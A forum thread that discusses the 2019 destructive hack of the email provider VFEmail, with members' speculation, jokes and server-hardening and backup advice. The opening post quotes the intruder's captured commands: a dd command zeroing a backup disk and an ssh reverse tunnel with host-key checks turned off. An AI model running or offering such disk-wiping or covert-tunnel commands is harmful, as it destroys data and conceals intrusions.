Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!


Email Provider VFEmail Suffers ‘Catastrophic’ Hack
New on LowEndTalk? Please Register and read our Community Rules.

All new Registrations are manually reviewed and approved, so a short delay after registration may occur before your account becomes active.

Email Provider VFEmail Suffers ‘Catastrophic’ Hack

mailcheapmailcheap Member, Host Rep

Email provider VFEmail has suffered what the company is calling “catastrophic destruction” at the hands of an as-yet unknown intruder who trashed all of the company’s primary and backup data in the United States. The firm’s founder says he now fears some 18 years’ worth of customer email may be gone forever.

“At this time, the attacker has formatted all the disks on every server,” wrote VFEmail. “Every VM [virtual machine] is lost. Every file server is lost, every backup server is lost. Strangely, not all VMs shared the same authentication, but all were destroyed. This was more than a multi-password via ssh exploit, and there was no ransom. Just attack and destroy.”

...

Caught the perp in the middle of formatting the backup server:
dd if=/dev/zero of=/dev/da0 bs=4194304 seek=1024 count=399559
via: ssh -v -oStrictHostKeyChecking=no -oLogLevel=error -oUserKnownHostsFile=/dev/null [email protected] -R 127.0.0.1:30081:127.0.0.1:22 -N

Source: https://krebsonsecurity.com/2019/02/email-provider-vfemail-suffers-catastrophic-hack/

Very sad incident, I hope they recover somehow though the heartless attacker has zeroed out everything. I can't imagine how it would feel if years of my love & labor was lost like this.

And we should all keep some offline rolling snapshots. Or at the very least:

  1. Use SSH keys instead of passwords.
  2. Different key(s) for backup server(s)
  3. Pull from your servers to backup instead of pushing to it.
  4. Secure that backup like it is worth its weight in gold (because it is).

Stay safe everyone.

Warm regards,
Pavin Joseph.

«1

Comments

  • I call BS.

  • Some would say, "Did they not pay the server rent?"

    Thanked by 2eol Janevski
  • So, no offline backups/air gap?
    I'm so glad I'm not that guy, or one of his admins!
    I would have permanent stomach cramps, adrenaline overflow, couldn't sleep and whatnot! I know how it feels when you realize that the shit hit the fan and that people will be mad at you in 3... 2... 1....
    It's their own fault, but no one deserves a nightmare like that! That company is gone for good.
    My prayers are with them and their customers.

    Thanked by 1Ole_Juul
  • NeoonNeoon Community Contributor, Veteran

    Of course a email seller, posts it.
    Insider job.

    Thanked by 1desperand
  • jackbjackb Member, Host Rep
    edited February 2019

    If you have your own email client, DO NOT TRY TO MAKE IT WORK. If you reconnect your client to your new mailbox, all your local mail will be lost.

    I might be missing something but how can the mail client reconnect to a server that got nuked from orbit?

    Half overwritten by DD perhaps? If so why not just stop all services until data integrity (or lack of) confirmed.

  • Whoever did this, should have installed TempleOS instead of just zeroing the drives.

    Thanked by 1eol
  • @jackb said:

    If you have your own email client, DO NOT TRY TO MAKE IT WORK. If you reconnect your client to your new mailbox, all your local mail will be lost.

    I might be missing something but how can the mail client reconnect to a server that got nuked from orbit?

    Half overwritten by DD perhaps? If so why not just stop all services until data integrity (or lack of) confirmed.

    I guess what he ment here was: "Don't delete your locally setup account and try to fix it by recreating."
    This way you would nuke your last bit of local copy with all the history that might still be saved there...

  • @Janevski said:
    Whoever did this, should have installed TempleOS instead of just zeroing the drives.

    I full-heartedly agree.

    Thanked by 1Janevski
  • LetzienLetzien Member
    edited February 2019

    If they installed FreeBSD, then they could monitor it with @jsg software.

  • deankdeank Member, Troll
    edited February 2019

    Plot twist: The owner deleted them by peeing all over the equipment while having a naked drinking party with gals.

  • jsgjsg Member, Resident Benchmarker

    @Letzien said:
    If they installed FreeBSD, then they could monitor it with @jsg software.

    Yes, but TempleOS doesn't need monitoring bcause it's perfect anyway. I like the BSDs but let's be realistic, they don't achieve the safety level of TempleOS.

    Thanked by 3Janevski eol Letzien
  • @jsg said:

    @Letzien said:
    If they installed FreeBSD, then they could monitor it with @jsg software.

    Yes, but TempleOS doesn't need monitoring bcause it's perfect anyway. I like the BSDs but let's be realistic, they don't achieve the safety level of TempleOS.

    Actually TempleOS has built in real time CPU utilization percentage and FPS counter system monitoring tools.

    Thanked by 1eol
  • jackbjackb Member, Host Rep

    @Janevski said:
    Whoever did this, should have installed TempleOS instead of just zeroing the drives.

    Real men install red star os.

  • JanevskiJanevski Member
    edited February 2019

    @jackb said:

    @Janevski said:
    Whoever did this, should have installed TempleOS instead of just zeroing the drives.

    Real men install red star os.

    But Red Star OS is GNU/Red Star OS GNU/Unix based.

  • Red Star OS:
    "The operating system comes pre-installed with a number of applications that monitor its users--if a user tries to disable security functions, the operating system often restarts in continuous loops or destroys itself. In addition, a watermarking tool integrated into the system marks all media content with the hard drive's serial number. This makes it possible for the North Korean authorities to trace the spread of files. The system also has a hidden "anti-virus" software that is capable of removing censored files that are remotely stored by the North Korean secret service. There is a user group called "administrator" in the operating system. Users, however, can't gain full system access, even if they're administrators, as commands such as sudo and su are not available."

    LOL.
    Just like Windows 10.

  • Holy sheet. It all makes sense now. Epiphany confirmed.

    Thanked by 1eol
  • JanevskiJanevski Member
    edited February 2019

    @eol Anyhow, i used to have, i think it was 4MB, i have forgotten, not sure if 2 or 4MB, DOS image with autoexec set to start Supaplex and reboot on exit. Just in case.

    Thanked by 1eol
  • If the disk is just zeroed, wouldn't they have a chance to recover?

  • And that's why email sellers say that maintaining your own email server is too much work.

    Apparently, it is for many of them.

  • eoleol Member
    edited February 2019

    @Janevski said:
    @eol Anyhow, i used to have, i think it was 4MB, i have forgotten, not sure if 2 or 4MB, DOS image with autoexec set to start Supaplex and reboot on exit. Just in case.

    Great OS game.

    EDIT2:
    Thanks for reminding me of computer games.

    Thanked by 1Janevski
  • @jsg said:

    @Letzien said:
    If they installed FreeBSD, then they could monitor it with @jsg software.

    Yes, but TempleOS doesn't need monitoring bcause it's perfect anyway. I like the BSDs but let's be realistic, they don't achieve the safety level of TempleOS.

    Neither do they support HolyC. Only Hole-y C. The Lord only uses PHP.

  • @jackb said:

    @Janevski said:
    Whoever did this, should have installed TempleOS instead of just zeroing the drives.

    Real men install red star os.

    Nah, eth0 is crippled on RedStar because it keeps trying to reconnect to their local intranet.

    It’s absolute garbage.

    Thanked by 1eol
  • nqservicesnqservices Member
    edited February 2019

    @mailcheap said:

    And we should all keep some offline rolling snapshots. Or at the very least:

    1. Use SSH keys instead of passwords.
    2. Different key(s) for backup server(s)
    3. Pull from your servers to backup instead of pushing to it.
    4. Secure that backup like it is worth its weight in gold (because it is).

    Hey @mailcheap Thanks for the info about Vfemail and the security tips. To your list I would change point 1 and 3 and add a few things:

    1- For SSH, disable root, use only keys with pass, and also 2FA with Google Autenticator or at least Authy. Your desktop can be hacked. 2FA using Phone or Yubikey is very important.
    3- Two sets of backups Pull and also Push using different software. As an example Rsync for one and Borg for the other. This way you always have a copy of the data in the event of if the mail server or backup server is hacked and also the redundancy of 2 different bckup softwares.
    5- Make daily or at twice a week backups of the backup servers to an external storage cloud such as Amazon S3 or Google Cloud. Login details for this, should be saved offline in paper. To use just another layer of protection against a critical hack or disaster.
    6- Restrict SSH and admin access to applications only from your office IP, home and at least 2 VPNs.
    7- Set OS daily automatic security updates on production servers with auto-reboot enable.
    8- Secure your OS as much as posssible. Harden services as much as you can / know.
    9- If you provide a online service where security is important, hire at least once a year a external white-hat security company (or a really good hacker friend) to make a security audit. A good value company I can recommend for this is www.rack911.com
    10- Have a offline paper copy of all important login access data / login / passwords
    11- Have a DR plan prepared and ready.
    12- Test your backups at least 3 times a year. Make a test recover to ensure all data is being stored properly.
    13- Use a good password manager (ex: lastpass)
    14- Enable phone or Yubikey 2FA everywhere you can!
    15- As an admin use a Gmail account under the Advanced Protection plan https://landing.google.com/advancedprotection/ All admin accounts and 3rd party services should be linked to this secure email address.
    16- Good luck and try not to piss hackers

    Thanked by 1vpsGOD
  • A reason I still use POP3 to download emails into my Outlook and keep a local copy in my PST always. Anything in the cloud or remote hands cannot be trusted eternally.

  • "strangely"?

    • Same SSH key over all systems?
    • Kernel exploit because they never updated past 18 yrs? (Lol)
    • Intern job, someone got fired and they forgot to change the passwords/SSH keys?
  • mailcheap said: The firm’s founder says he now fears some 18 years’ worth of customer email may be gone forever.

    It seems to me that what happened is primarily the fault of the guy himself.
    We can all be in a similar situation, but being in business for 18 years, and not replicating backups, this is absurd.

    Even I, having much less experience, repeatedly encountered different shit, and even when two or three different storage locations for backups failed at the right time, so I try to do as many backups as possible ...

    18 years of data ... It seems to me that there is something wrong here with info, or something hidden. Hack the infrastructure, and then hack the server, and then from this server hack and backup the server, and then delete the backups, and other data on them ... Oh, I don’t believe in it, something is wrong. It’s just that the level of preparation of the one who did this should be beyond the sky, it's should be just a Neo from Matrix. Either the administrators of the hacked servers should not have been doing what they were doing, and everything was on passwords, without the most basic security measures ...

    Or very short and simple version: someone tired, and decide to remove everything by himself. That it.

  • @mailcheap said:

    1. Use SSH keys instead of passwords.
    2. Different key(s) for backup server(s)
    3. Pull from your servers to backup instead of pushing to it.
    4. Secure that backup like it is worth its weight in gold (because it is).

    This is what i do.

    I use two servers: one is the "backend", with all the actual stuff, the other is the "frontend", aka a haproxy just proxying some selected services that i need (pretty much only nginx).

    The main server has port 12039 open, with SSH on that port, accessible only from the wan interface, only from the subnet of the ISP i use at home. If you somehow succeed in having the same ISP as me and finding the SSH port, fail2ban will ban you for 12 hours as soon as you try logging in with something different than my own username.
    I get a notification (via a Telegram bot) so I can act accordingly, for example by changing port. There's nothing else opened there, so no risk of people finding out what the server is for.

    The front server has only port 80 and 443 open. Additionally, it has a wireguard VPN going to the main server, on which it exposes its SSH service. Of course the main server doesn't expose anything to the wireguard network that isn't the stuff i need to proxy.

    Thanked by 2eol Deepak_leb
  • jsgjsg Member, Resident Benchmarker
    edited February 2019

    My thoughts:

    • That was no hack but a cover up. It strongly smells.
    • Whenever something like that happens one can wait for people to spill their security related wisdom all over the place. And nothing changes.
  • @edfox said:

    @mailcheap said:

    1. Use SSH keys instead of passwords.
    2. Different key(s) for backup server(s)
    3. Pull from your servers to backup instead of pushing to it.
    4. Secure that backup like it is worth its weight in gold (because it is).

    This is what i do.

    I use two servers: one is the "backend", with all the actual stuff, the other is the "frontend", aka a haproxy just proxying some selected services that i need (pretty much only nginx).

    The main server has port 12039 open, with SSH on that port, accessible only from the wan interface, only from the subnet of the ISP i use at home. If you somehow succeed in having the same ISP as me and finding the SSH port, fail2ban will ban you for 12 hours as soon as you try logging in with something different than my own username.
    I get a notification (via a Telegram bot) so I can act accordingly, for example by changing port. There's nothing else opened there, so no risk of people finding out what the server is for.

    The front server has only port 80 and 443 open. Additionally, it has a wireguard VPN going to the main server, on which it exposes its SSH service. Of course the main server doesn't expose anything to the wireguard network that isn't the stuff i need to proxy.

    I recommend a third server.

    Thanked by 1Yura
Sign In or Register to comment.